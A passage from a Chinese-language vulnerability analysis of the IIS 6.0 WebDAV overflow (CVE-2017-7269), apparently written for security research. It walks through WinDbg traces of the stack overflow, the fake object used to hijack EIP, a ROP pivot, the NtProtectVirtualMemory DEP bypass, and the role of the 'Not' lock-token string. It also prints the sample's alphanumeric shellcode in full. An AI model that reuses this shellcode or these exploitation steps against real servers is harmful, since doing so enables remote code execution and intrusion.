时,数据将被直接填充到地址 0x680312c0
。此时,由于 CStackBuffer1
的长度已经 足够大 ,ScStoragePathFromUrl
只会被调用一次。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 $$ ScStoragePathFromUrl 参数 0:006> dds esp L3 03faf7b4 077dc9e0 03faf7b8 680312c0 rsaenh!g_pfnFree+0x4 03faf7bc 03faf800 0:006> dd 03faf800 L1 03faf800 00404040 0:006> p eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=680312c0 esi=00000000 edi=77bd8ef2 eip=6712544a esp=03faf7c0 ebp=03fafc34 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 httpext!HrCheckIfHeader+0x124: 6712544a 8bf0 mov esi,eax $$ 填充数据到 0x680312c0 0:006> db 680312c0 680312c0 63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00 c.:.\.i.n.e.t.p. 680312d0 75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00 u.b.\.w.w.w.r.o. 680312e0 6f 00 74 00 5c 00 62 00-62 00 62 00 62 00 62 00 o.t.\.b.b.b.b.b. 680312f0 62 00 62 00 48 79 75 61-43 4f 67 6f 6f 6b 45 48 b.b.HyuaCOgookEH 68031300 46 36 75 67 33 44 71 38-65 57 62 5a 35 54 61 56 F6ug3Dq8eWbZ5TaV 68031310 52 69 53 6a 57 51 4e 38-48 59 55 63 71 49 64 43 RiSjWQN8HYUcqIdC 68031320 72 64 68 34 58 47 79 71-6b 33 55 6b 48 6d 4f 50 rdh4XGyqk3UkHmOP 68031330 46 7a 71 34 54 6f 43 74-56 59 6f 6f 41 73 57 34 Fzq4ToCtVYooAsW4 0:006> db 68031340 68 61 72 7a 45 37 49 4d-4e 57 48 54 38 4c 7a 36 harzE7IMNWHT8Lz6 68031350 72 35 66 62 43 6e 6d 48-48 35 77 61 5a 4d 74 61 r5fbCnmHH5waZMta 68031360 33 41 65 43 72 52 69 6d-71 36 64 4e 39 6e 53 63 3AeCrRimq6dN9nSc 68031370 64 6b 46 51 30 4f 6f 78-53 72 50 67 53 45 63 7a dkFQ0OoxSrPgSEcz 68031380 39 71 53 4f 56 44 36 6f-79 73 77 68 56 7a 4a 61 9qSOVD6oyswhVzJa 68031390 45 39 39 36 39 6c 31 45-72 34 65 53 4a 58 4e 44 E9969l1Er4eSJXND 680313a0 44 7a 35 6c 56 5a 41 62-72 6e 31 66 59 59 33 54 Dz5lVZAbrn1fYY3T 680313b0 42 31 65 58 41 59 50 71-36 30 77 57 57 44 61 53 B1eXAYPq60wWWDaS 0:006> db 680313c0 c0 13 03 68 4f 6e 00 68-4f 6e 00 68 47 42 6a 76 ...hOn.hOn.hGBjv 680313d0 c0 13 03 68 57 42 74 4f-47 59 34 52 66 4b 42 4b ...hWBtOGY4RfKBK 680313e0 64 74 6f 78 82 60 01 68-35 51 7a 72 7a 74 47 4d dtox.`.h5QzrztGM 680313f0 59 44 57 57 13 b1 00 68-76 31 6f 6e e3 24 01 68 YDWW...hv1on.$.h 68031400 60 14 03 68 00 03 fe 7f-ff ff ff ff c0 13 03 68 `..h...........h 68031410 6e 04 03 68 6e 71 70 74-34 14 03 68 e7 29 01 68 n..hnqpt4..h.).h 68031420 91 93 00 68 31 39 6e 66-55 49 52 30 6b 54 6b 76 ...h19nfUIR0kTkv 68031430 4a 72 61 79 1c 14 03 68-05 6e 00 68 32 77 68 79 Jray...h.n.h2why
3.4 控制 EIP 在函数 HrCheckIfHeader
返回后,后面会跳转到 CParseLockTokenHeader::HrGetLockIdForPath
中去执行,而后者也会多次调用 CMethUtil::ScStoragePathFromUrl
这个函数。同样,解析 URL 第一部分(http://localhost/aaaaaaa....
)时完成栈溢出,此时会覆盖到一个引用 CMethUtil
对象的局部变量;在解析 URL 第二部分(http://localhost/bbbbbbb....
)时,因为 CMethUtil
已经伪造好,其成员 IEcb
实例同样完成伪造,最后在 ScStripAndCheckHttpPrefix
中实现 EIP 的控制。
1 2 3 4 5 6 7 8 9 10 CPutRequest::Execute ├──HrCheckStateHeaders │ └──HrCheckIfHeader │ ├──CMethUtil::ScStoragePathFromUrl │ └──CMethUtil::ScStoragePathFromUrl │ └──FGetLockHandle └──CParseLockTokenHeader::HrGetLockIdForPath ├──CMethUtil::ScStoragePathFromUrl └──CMethUtil::ScStoragePathFromUrl
(1) FGetLockHandle 分析 函数 FGetLockHandle
里面构造了一个 CParseLockTokenHeader
对象,存储于栈上的一个局部变量引用了这个对象 (这一点很重要),调用该对象的成员函数 HrGetLockIdForPath
进入下一阶段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int __stdcall FGetLockHandle( struct CMethUtil *a1, wchar_t *Str, unsigned __int32 a3, const unsigned __int16 *a4, struct auto_ref_handle *a5) { signed int v5; // eax@1 int result; // eax@2 CParseLockTokenHeader *v7; // [sp+0h] [bp-54h]@1 union _LARGE_INTEGER v8; // [sp+40h] [bp-14h]@1 int v9; // [sp+50h] [bp-4h]@1 v7 = CParseLockTokenHeader(a1, a4); v9 = 0; v7->SetPaths(Str, 0); v5 = v7->HrGetLockIdForPath(Str, a3, &v8, 0); v9 = -1; if ( v5 >= 0 ) { result = FGetLockHandleFromId(a1, v8, Str, a3, a5); } else { result = 0; } return result; }
(2) HrGetLockIdForPath 分析 HrGetLockIdForPath
与 HrCheckIfHeader
有点类似,同样存在两个 CStackBuffer
变量。不同的是,v22.HighPart
指向父级函数 HrGetLockIdForPath
中引用 CParseLockTokenHeader
对象的局部变量,而且这里也会将其转换为 CMethUtil
类型使用。
在解析 URL 第一部分(http://localhost/aaaaaaa....
)时,通过栈溢出可以覆盖引用 CParseLockTokenHeader
对象的局部变量,栈布局如下所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ┌─────────────────────────┐ │ v7 (FGetLockHandle) │ CParseLockTokenHeader <────┐ ├─────────────────────────┤ ↑o │ │ ...... │ │v │ ├─────────────────────────┤ │e │ │ 2.heap_buffer│ ebp-14 │r │ ├─────────────────────────┤ │f │ │ 2.fake_heap_size│ ebp-18 │l │ ├─────────────────────────┤ │o │ │CStackBuffer2.buffer[260]│ ebp-11C │w │ ├─────────────────────────┤ <-------- overwrite data │ │ 1.heap_buffer│ ebp-120 -> heap (url part1)│ ├─────────────────────────┤ │ │ 1.fake_heap_size│ ebp-124 │ ├─────────────────────────┤ │ │CStackBuffer1.buffer[260]│ ebp-228 │ ├─────────────────────────┤ │ │ ...... │ │ ├────────────┬────────────┤ │ │ v22.LowPart│v22.HighPart│ ebp-240 (LARGE_INTEGER) ──┘ └────────────┴────────────┘
栈上的数据分布如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 0:006> dds ebp-18 03fafbb8 00000412 --------> CStackBuffer2.fake_heap_size 03fafbbc 03fafab4 --------> CStackBuffer2.buffer[260] 03fafbc0 00000168 03fafbc4 03fafc30 03fafbc8 67140bdd httpext!swscanf+0x137d --> ret addr 03fafbcc 00000002 03fafbd0 03fafc3c 03fafbd4 6711aba9 httpext!FGetLockHandle+0x40 03fafbd8 07874c2e 03fafbdc 80000000 03fafbe0 03fafc28 03fafbe4 00000000 03fafbe8 07872fc0 --------> CParseLockTokenHeader xx 03fafbec 0788c858 03fafbf0 0788c858 $$ CMethUtil 0:006> r ecx ecx=07872fc0 $$ LARGE_INTEGER v22 0:006> dd ebp-240 L2 03faf990 5a3211a0 03fafbe8 $$ CStackBuffer2.buffer[260] 0:006> ?ebp-11C Evaluate expression: 66779828 = 03fafab4
分析栈的布局可以知道,在复制 260+12*4=308
字节数据后,后续的 4
字节数据将覆盖引用 CParseLockTokenHeader
对象的局部变量。需要注意的是,这里所说的 308
字节,是 URL 转变成物理路径后的前 308
字节。执行完 CMethUtil::ScStoragePathFromUrl
之后,680313c0
被填充到父级函数中引用 CParseLockTokenHeader
对象所在的局部变量。
1 2 3 4 5 6 $$ LARGE_INTEGER v22 0:006> dd ebp-240 L2 03faf990 5a3211a0 03fafbe8 0:006> dd 03fafbe8 L1 03fafbe8 680313c0
(3) ScStripAndCheckHttpPrefix 分析 在解析 URL 第二部分(http://localhost/bbbbbbb....
)时,由于引用 CParseLockTokenHeader
对象的局部变量的值已经被修改,所以会使用伪造的对象,最终在函数 ScStripAndCheckHttpPrefix
中完成控制权的转移。
1 2 3 4 5 6 7 CPutRequest::Execute └──FGetLockHandle └──CParseLockTokenHeader::HrGetLockIdForPath ecx = 0x680313C0 ├──CMethUtil::ScStoragePathFromUrl ecx = 0x680313C0 │ └──ScStoragePathFromUrl ecx = [ecx+0x10]=0x680313C0 │ └──ScStripAndCheckHttpPrefix call [[ecx]+0x24] └──CMethUtil::ScStoragePathFromUrl
接管控制权后,将开始执行 ROP 代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 0:006> dd 680313C0 L1 680313c0 680313c0 0:006> dd 680313C0+10 L1 680313d0 680313c0 0:006> dd 680313C0+24 L1 680313e4 68016082 0:006> u 68016082 rsaenh!_alloca_probe+0x42: 68016082 8be1 mov esp,ecx 68016084 8b08 mov ecx,dword ptr [eax] 68016086 8b4004 mov eax,dword ptr [eax+4] 68016089 50 push eax 6801608a c3 ret 6801608b cc int 3 6801608c cc int 3 6801608d cc int 3
3.5 绕过 DEP 在执行 ROP 代码片段时,会跳转到 KiFastSystemCall
去执行,这里将 EAX 寄存器的值设置为 0x8F
,也就是 NtProtectVirtualMemory
的服务号,函数的参数通过栈进行传递。
1 2 3 4 5 6 7 8 0:006> dds esp 68031400 68031460 --> return address 68031404 7ffe0300 --> SharedUserData!SystemCallStub 68031408 ffffffff --> ProcessHandle, CURRENT_PROCESS 6803140c 680313c0 --> BaseAddress 68031410 6803046e --> RegionSize, 0x48 68031414 00000040 --> NewProtectWin32, PAGE_EXECUTE_READWRITE 68031418 68031434 --> OldProtect
TK 在 CanSecWest 2013 的演讲《DEP/ASLR bypass without ROP/JIT 》[4 ] 中提到:
SharedUserData is always fixed in 0x7ffe0000 from Windows NT 4 to Windows 8 0x7ffe0300 is always point to KiFastSystemCall Only work on x86 Windows
这里就是用了 0x7ffe0300
这个地址来定位 KiFastSystemCall
(关于 KiFastSystemCall
的介绍,可以参考文档 《KiFastCallEntry() 机制分析 》 [5 ])。
3.6 Shellcode 样本中的 Shellcode 如下:
1 2 3 4 5 6 7 8 VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAI AXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8 Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LM X1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6 P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XK Q3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJ Z2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3UL Y7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA
前面分析到函数 CRequest::LpwszGetHeader
会把其转成 UNICODE 字符串,所以在内存中长这个样子:
1 2 3 4 5 6 7 8 9 0:006> db 68031460 68031460 55 00 56 00 59 00 41 00-34 00 34 00 34 00 34 00 U.V.Y.A.4.4.4.4. 68031470 34 00 34 00 34 00 34 00-34 00 34 00 51 00 41 00 4.4.4.4.4.4.Q.A. 68031480 54 00 41 00 58 00 41 00-5a 00 41 00 50 00 41 00 T.A.X.A.Z.A.P.A. 68031490 33 00 51 00 41 00 44 00-41 00 5a 00 41 00 42 00 3.Q.A.D.A.Z.A.B. 680314a0 41 00 52 00 41 00 4c 00-41 00 59 00 41 00 49 00 A.R.A.L.A.Y.A.I. 680314b0 41 00 51 00 41 00 49 00-41 00 51 00 41 00 50 00 A.Q.A.I.A.Q.A.P. 680314c0 41 00 35 00 41 00 41 00-41 00 50 00 41 00 5a 00 A.5.A.A.A.P.A.Z. 680314d0 31 00 41 00 49 00 31 00-41 00 49 00 41 00 49 00 1.A.I.1.A.I.A.I.
这是所谓的 Alphanumeric Shellcode [6 ],可以以 ASCII 或者 UNICODE 字符串形式呈现 Shellcode。
3.7 The Last Question 最后一个问题是,在 Exploit 的两个 URL 之间存在 (Not <locktoken:write1>)
这样一个字符串,这个字符串的作用是什么呢?如果删掉这个字符串,Exploit 就失效了,因为 HrCheckIfHeader
中解析 URL 的流程中断了,而解析流程得以继续的关键是 while
循环中嵌套的 for
循环对 IFITER::PszNextToken(2)
的调用。需要注意的是,这里传递的参数值是 2
,而分析 IFITER::PszNextToken()
的反汇编代码,可以知道这个字符串只要满足一定的形式就可以了,如 (nOt <hahahahah+asdfgh>)
或者 (nOt [hahahahah+asdfgh])
都是可以的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int __thiscall IFITER::PszNextToken(int this, signed int a2) { //...... if ( !_wcsnicmp(L"not", (const wchar_t *)v4, 3u) ) { *(_DWORD *)(v2 + 4) += 6; *(_DWORD *)(v2 + 28) = 1; // ----> 设置值 while ( **(_WORD **)(v2 + 4) && iswspace(**(_WORD **)(v2 + 4)) ) *(_DWORD *)(v2 + 4) += 2; if ( !**(_WORD **)(v2 + 4) ) return 0; } v17 = **(_WORD **)(v2 + 4); if ( v17 == '<' ) { LABEL_64: v23 = '>'; goto LABEL_65; } if ( v17 != '[' ) return 0; v23 = ']'; LABEL_65: v20 = *(_DWORD *)(v2 + 4); v21 = wcschr((const wchar_t *)(v20 + 2), v23); *(_DWORD *)(v2 + 4) = v21; if ( !v21 ) return 0; *(_DWORD *)(v2 + 4) = v21 + 1; v22 = v2 + 8; StringBuffer<char>::AppendAt(0, 2 * ((signed int)((char *)v21 - v20) >> 1) + 2, v20); StringBuffer<char>::AppendAt(*(_DWORD *)(v22 + 8), 2, &gc_wszEmpty); return *(_DWORD *)v22; }
不过 not
字符串是不能替换的,因为这里会影响程序的执行流程。从上面的代码可以看出,存在 not
字符串时会将对象偏移 28 (0x1C)
处的值设置为 1
,这个值会决定父级函数中的一个跳转(goto LABEL_27
)是否执行。
1 2 3 4 5 6 7 8 9 10 11 12 // v22 -> ebp-44C // ifilter -> ebp-468 // 0x468 + 0x1C = 0x44C if ( !FGetLastModTime(0, v8, &v23) || !FETagFromFiletime( &v23, &String, *((const struct IEcb **)a1 + 4)) ) { LABEL_26: if ( v22 ) // ==1 goto LABEL_27; goto LABEL_30; }
4. 其他 要编写一个真实环境中通用的 Exploit,还需要考虑许多其他因素,比如 IIS 设置的物理路径等,文章 [7 ] 列举了一些注意事项。
此外,文章 [8 ] 提到了一种基于 HTTP 回传信息的方法。
当然,关于编写通用 Exploit 所需要注意的细节,也可以参考 NSA 的 Explodingcan 的参数设置。
5. References [1] https://github.com/edwardz246003/IIS_exploit
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7269
[3] https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html
[4] https://cansecwest.com/slides/2013/DEP-ASLR%20bypass%20without%20ROP-JIT.pdf
[5] http://www.mouseos.com/windows/kernel/KiFastCallEntry.html
[6] https://github.com/SkyLined/alpha3
[7] https://xianzhi.aliyun.com/forum/read/1458.html
[8] https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/